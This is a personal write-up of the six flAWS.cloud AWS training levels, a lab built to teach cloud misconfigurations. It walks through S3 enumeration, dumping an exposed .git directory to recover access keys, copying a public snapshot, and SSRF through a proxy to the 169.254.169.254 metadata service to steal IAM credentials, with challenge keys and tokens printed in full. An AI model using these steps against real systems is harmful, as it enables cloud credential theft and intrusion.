flAWS.cloud Experience and Write-Up
FLAWS is not a CTF per se. There are no teams, no scoreboard, no score, and the hints will walk you through each step for every challenge if you choose to view them. FLAWS is a freely available series of challenges designed to teach its users about common mistakes and misconfigurations when using AWS. The challenges can be found at: http://flaws.cloud/
Here's my writeup for the six levels:
Level 1
This level is *buckets* of fun. See if you can find the first sub-domain.
I began this level by enumerating buckets with cloud_enum, targeting the keyword "flaws.cloud," and I pressed Ctrl+C after I saw the "secret" html file to limit the amount of requests to Amazon:
# cloud_enum -k flaws.cloud --disable-azure --disable-gcp
<snip>
[+] Checking for S3 buckets
OPEN S3 BUCKET: http://flaws.cloud.s3.amazonaws.com/
FILES:
->http://flaws.cloud.s3.amazonaws.com/flaws.cloud
->http://flaws.cloud.s3.amazonaws.com/hint1.html
->http://flaws.cloud.s3.amazonaws.com/hint2.html
->http://flaws.cloud.s3.amazonaws.com/hint3.html
->http://flaws.cloud.s3.amazonaws.com/index.html
->http://flaws.cloud.s3.amazonaws.com/logo.png
->http://flaws.cloud.s3.amazonaws.com/robots.txt
->http://flaws.cloud.s3.amazonaws.com/secret-dd02c7c.html
[!] Connection error on flaws.cloud.analytics.s3.amazonaws.com. Investigate if there are many of these.
^CThanks for playing!...
# curl http://flaws.cloud.s3.amazonaws.com/secret-dd02c7c.html && echo
<snip>
<h1>Congrats! You found the secret file!</h1>
</center>
Level 2 is at <a href="http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud">http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud</a>
Level 2
The next level is fairly similar, with a slight twist. You're going to need your own AWS account for this. You just need the free tier.
Browsing to the URL for Level 2 loads the lesson, examples cases, and tips to avoid the issue in the challenge for Level 1. Which is awesome. Kudos to Scott Piper (@0xdabbad00) for putting together such an informative resource for free.
Additionally, the main page for Level 2 presented the challenge (posted above) that needed solved in order to progress to Level 3. I had already configured aws cli and I know that the S3 service is a fantastic way to host static websites; so I assumed the URL was also the S3 bucket that we would have to review:
# aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud2017-02-26 21:02:15 80751 everyone.png
2017-03-02 22:47:17 1433 hint1.html
2017-02-26 21:04:39 1035 hint2.html
2017-02-26 21:02:14 2786 index.html
2017-02-26 21:02:14 26 robots.txt
2017-02-26 21:02:15 1051 secret-e4443fc.html
# curl http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html && echo
<snip>
<h1>Congrats! You found the secret file!</h1>
</center>
Level 3 is at <a href="http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud">http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud</a>
Level 3
The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are.
Starting off with the same assumptions about how FLAWS was using S3 buckets, I started by reviewing the content with aws s3:
# aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
PRE .git/
2017-02-26 19:14:33 123637 authenticated_users.png
2017-02-26 19:14:34 1552 hint1.html
2017-02-26 19:14:34 1426 hint2.html
2017-02-26 19:14:35 1247 hint3.html
2017-02-26 19:14:33 1035 hint4.html
2020-05-22 14:21:10 1861 index.html
2017-02-26 19:14:33 26 robots.txt
The .git directory is often a treasure trove of information. Having pillaged .git directories on web servers in other CTFs and external engagements that I've conducted professionally, I knew that gitdumper from GitTools (https://github.com/internetwache/GitTools) would download all of the objects and commit history. Then, I could use extractor.sh script that is also from GitTools to place all of the objects in a local directory that I could peruse:
# gitdumper.sh http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/ flaws/level3
<snip>
# extractor.sh /root/flaws/level3/ flaws/level3/gitout
<snip>
~/flaws/level3/gitout# tree
.
├── 0-f52ec03b227ea6094b04e43f475fb0126edb5a61
│ ├── access_keys.txt
<snip>
cat 0-f52ec03b227ea6094b04e43f475fb0126edb5a61/access_keys.txt
access_key AKIAJ366LIPB4IJKT7SA
secret_access_key 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
# aws configure
<snip> # Note: entered key material with no region set
# aws s3 ls
2017-02-12 16:31:07 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-29 12:34:53 config-bucket-975426262029
2017-02-12 15:03:24 flaws-logs
2017-02-04 22:40:07 flaws.cloud
2017-02-23 20:54:13 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-26 13:15:44 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2017-02-26 13:16:06 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2017-02-26 14:44:51 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2017-02-26 14:47:58 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2017-02-26 15:06:32 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud
Level 4
For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudIt'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.
One important concept concerning AWS resources is that of Regions. An AWS region is a geographic location consisting of multiple Availability Zones (AZ). Both Regions and AZs are isolated, but AZz are interconnected.
All that to say, if you attempt to use "aws ec2" commands against a resource in region us-west-2, but you specified us-east-1, you are going to have a bad time.
So the first stumbling block that I encountered was caused by me when I ran aws configure and set the region to us-east-1.
With that in mind, I used ec2 describe-snapshots to begin hunting down the snapshot:
# aws ec2 describe-snapshots --filters Name=description,Values=*flaws*
{
"Snapshots": [
{
"Description": "flaws4 volume copied",
"Encrypted": false,
"OwnerId": "206747113237",
"Progress": "100%",
"SnapshotId": "snap-07a9c50931c651cf8",
"StartTime": "2020-03-02T16:34:10.260Z",
"State": "completed",
"VolumeId": "vol-ffffffff",
"VolumeSize": 8
}
]
}
The goal now is to copy the volume snapshot into the AWS account that I actually owned and mount it on an instance. So, I reset my credentials and issued the following command:
After copying the snapshot, I logged into the management console, changed my region to us-west-2, and opened up the EC2 service and navigated to "Volumes" under the Elastic Block Storage menu.
For some reason, at this point I stopped logging commands. I believe what happened was that I mounted the wrong device, unmounted it, and at some point decided that comparing the md5sums of the two passwd files was a good way to verify that I successfully addressed the issue:
Level 5
This EC2 has a simple HTTP only proxy on it. Here are some examples of it's usage:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/
See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.
I began this one by targeting local files by targeting localhost and 127.0.0.1 but I was pretty stumped about where to go so I took the first hint:
On cloud services, including AWS, the IP 169.254.169.254 is magical. It's the metadata service.There is an RFC on it (RFC-3927), but you should read the AWS specific docs on it here.
Need another hint? Go to Hint 2
Ah yes, now I recall seeing a few references to various 169 addresses while working on the HTH cloud challenges. After some reading about the metadata service, I learned that you can obtain credentials from it. So, I leveraged the proxy feature for the level to browse to: 169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/
First, I copied and added the credentials to the .aws/credentials file and attempted to use s3 to list or copy the contents of the level6 bucket but I received an access denied error
# aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
I started exploring the meta-data service by issuing curl commands to browse around the directory structure and eventually I found a different set of credentials under the iam rather than ec2:
# curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws &&echo
{
"Code" : "Success",
"LastUpdated" : "2021-02-23T17:14:40Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA6GG7PSQG3OIG3VV2",
"SecretAccessKey" : "/CEI0RR92CotdDkhIaUFwpVpzyCwLnDGe77jKEMH",
"Token" : "IQoJb3JpZ2luX2VjEOn//////////wEaCXVzLXdlc3QtMiJIMEYCIQDaHfmt4atnHXcHII3eUgshtWXA6ZdNzhiauXPI6fUYtAIhAIgWPOmVDrwkXaFNMukfRihlkw7x4tOarsY2mIDlIg2jKr0DCPL//////////wEQARoMOTc1NDI2MjYyMDI5IgxVul6YNRR4NfpjGdAqkQMTSizbBfXjo8o3JZDZPTX/AOUHx9fojwM4/C1Wuij92QbVAbKUElcS1iwTXgvtseM+Oxj0XJnOvlYeoaHeinoqNuLX02LZ95AO8yz6x9K7hV+2aXw7Cf/OCOTI4+TN59vxwKegW7T9HZF9osDKaSRzAxzurIod97m4B6C54thi9+BX7TwYFDPiQV2Gjvx3XthA461pGIIaMHqlI81yy0S8ChbAYlZz2pVRHEBTe5Cv27BJs+d4QUYHjULjDymieigo1QdQtVYPpjtYd52OUbc0BJzmHf2s8glAUQcZMcWBiB8Z05cbHd2qqVLOxxbXH5Z+6j+hKoKZxL/Y41oSvMfQvDb9J6Tn8xHhwrBcViTUGKBlQMMateKkCNTM1w1GhiZ6mBoWY2uxX6LC7yjXanvng8kBX0b1k0oND8yFeschAMX4fX7nUaBaEv3EkUVt/aB+JpDpzXrjCtNPFnwZpQtcXWflb3FZ+0EXSs2BLTaunXN2FiCc5nj0Nuv//aljeCjRIp2kqWQTZNsYsfgLY+Zj8DCj8NSBBjrqART2P693V/8VnIuvXwlFtQEtpRwJ+pVJGqNOCHnCqwd4v6faCho7+Wmhv5s8GDQn/BUnsRHWap4EPFjFtUbDkrxuQ87NLE/mivSJjdYauS7jBrW4HnDKq41StbaoulLI45zV8QHLyJmxItVxkkkrgsz0TNz+ckf8/YCkeyMNcs11SBNA65zjnRKFkSgbdao22K55+1xYkxky/boBbaljvJi62H4/fUyJ1jh3T4qCPUtZCzmjiGF9ZezoMn/2w0DGgi42DUe8ur95bKo88nBq1oLG6mMaKpJKx+kEgF+sjVH20azutZIFK6VrkA==",
"Expiration" : "2021-02-23T23:20:42Z"
}
# curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/ &&echo
{
"Code" : "Success",
"LastUpdated" : "2021-02-23T17:15:17Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA6GG7PSQG2KLKDVG4",
"SecretAccessKey" : "YLgKg0/OO4UK+28W/inrgPFt7XA2iy4gk3UQpfRK",
"Token" : "IQoJb3JpZ2luX2VjEOn//////////wEaCXVzLXdlc3QtMiJIMEYCIQCkZHKULDojTKvFGrM2rJZxRUz8yzeIqRrCM4HwaVmErQIhAKGX9PjshxWr8KKC1a3ozzf6pujt1Q6MqOX958HbZ2X7KsgDCPL//////////wEQARoMOTc1NDI2MjYyMDI5Igzcl4xZE1x6cW/ABgIqnANROsvWZZcEjecVwcXD8tnAIhH6r07P4QwkavacNvQQyQQ0ZcIDShjiBmKuabZYpHIwjCE1vFjpmRY5cAwpKgqzaAo9+rbX/rz2o3efaIg7AytZdmL7jr62MkCB6nRZN02jNpld/cqLj+PVk9rJ8gTSGlHsIc2ql16ZhI/E0+igbIMyVhP0e1YgnWfVCDycgHCRcXZg6yLdqFktoFIVcP8VMxbDyH0yfRZQQHStuKLAc2mL85m/rgxsyhVFrYudF8/mxvHcidy7nLaYhENu08QzWJGiKKFsw9Zs0EwWaDO/x42JwunPbh18SPhbJLGFBiPS4GT2SnzpaIWn7bpSWJWWl9KJH3OSipQacYTqaYuTA6UW1f3VDdng0tCTrJbheDoHMce1wGYU+AUW0HsheA51Ie9bATDAc95DlUxe7s2HQD4NPAoo8dg/d2XTqsAQ0foHYIHdqYo9hvpYf+ZWidQrUdC+CuAO2SYFpfwS7RIszdjVl4rXZ14aZItuFPX7EIMSW+Kiqsf1kKrSB35bAKYdX6LTTb37Bat3ANQhMKPw1IEGOuYB+QqBl1QKwI/1hzrdOYKis30pO3j6KUdA60FJ0AM863h8+wVndEbfw9jBDcBeKAAW6QywiDAGPjEMvMmX1fdxflMGndTOk9bHvu/WLtKeQKTguBdQ/STquE7qsXMRkFiFqZfGUO/DhT29u+kIRzqQF6n4P01aR+4g2mFJAcpYWd8spUF1z5OVoTGGvMBmP6kALgTLvkXvev3SRC3n4aUNPzdFEx1XaKpbMvePCZ7odWpO0+b28THVGo7DsXTrL0SQkHl9VIqgh+3ldJpem/xBkrk/7BkCIJa4EP0fOk5KjoH7tzuaRfw=",
"Expiration" : "2021-02-23T23:20:17Z"
}
# aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
PRE ddcc78ff/
2017-02-26 21:11:07 871 index.html
# cat index.html
Level 6
For this one, I decided to start this by using weirdAAL to help enumerate what this account can do.
More information on installing it can be found in the 2020 HTH Cloud Challenges post.
# python3 ./weirdAAL.py -m recon_all -t flawsL6
The amount of information that came back was a bit intimidating. I looked for information relating to policies but it was just not in there that I could see. I started poking at some database and lambda actions (one was named Level6 which seemed telling) but honestly I couldn't figure out where to go with that information and so I decided to stay focused on the SecurityAudit policy that was called out in the challenge. Aside from learning the username I didn't get very much out of this.
Next, I tried leveraging enumerate-iam.py to see if I could learn more about the policies:
# python3 enumerate-iam.py --access-key AKIAJFQ6E7BY57Q3OBGA --secret-key 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 --region us-west-2 &> l6.out
<snip>
I used less to review the output file and did a search for SecurityAudit and here's the section I found:
"Path": "/",
"UserName": "Level6",
"UserId": "AIDAIRMDOSCWGLCDWOG6A",
"Arn": "arn:aws:iam::975426262029:user/Level6",
"CreateDate": "2017-02-26T23:11:16+00:00",
"GroupList": [],
"AttachedManagedPolicies": [
{
"PolicyName": "list_apigateways",
"PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
},
{
"PolicyName": "MySecurityAudit",
"PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
}
The End
Lesson learnedIt is common to give people and entities read-only permissions such as the SecurityAudit policy. The ability to read your own and other's IAM policies can really help an attacker figure out what exists in your environment and look for weaknesses and mistakes.
Avoiding this mistake
Don't hand out any permissions liberally, even permissions that only let you read meta-data or know what your permissions are.
Conclusion
What a fantastic resource! It confirmed that I know most of what I thought I knew, it challenged me to go a little bit further in order to figure some of the other challenges out, and it humbled me by showing just how complicated and esoteric the cloud can be when you don't specialize on a single platform or you spent too much time trying to abuse Windows environments.
There were a few things that I picked up about aws while running through these challenges that I'd like to share here in a quick bullet item list:
- ping an S3 bucket to quickly check which region you are targeting.
- aws configure --profile NAME for credential management.
- create profiles by using brackets in .aws/credentials
- aws --profile NAME sts get-caller-identity to validate who you are working as.
- For loops for running commands in and against all regions.
- for R in $(aws ec2 describe-regions --output text --query 'Regions[].[RegionName]') ; do echo "$R:"; aws ec2 describe-instances --output json --region $R | jq -r '.[]';echo;done
@strupo_
Find us on twitter: @teamWTG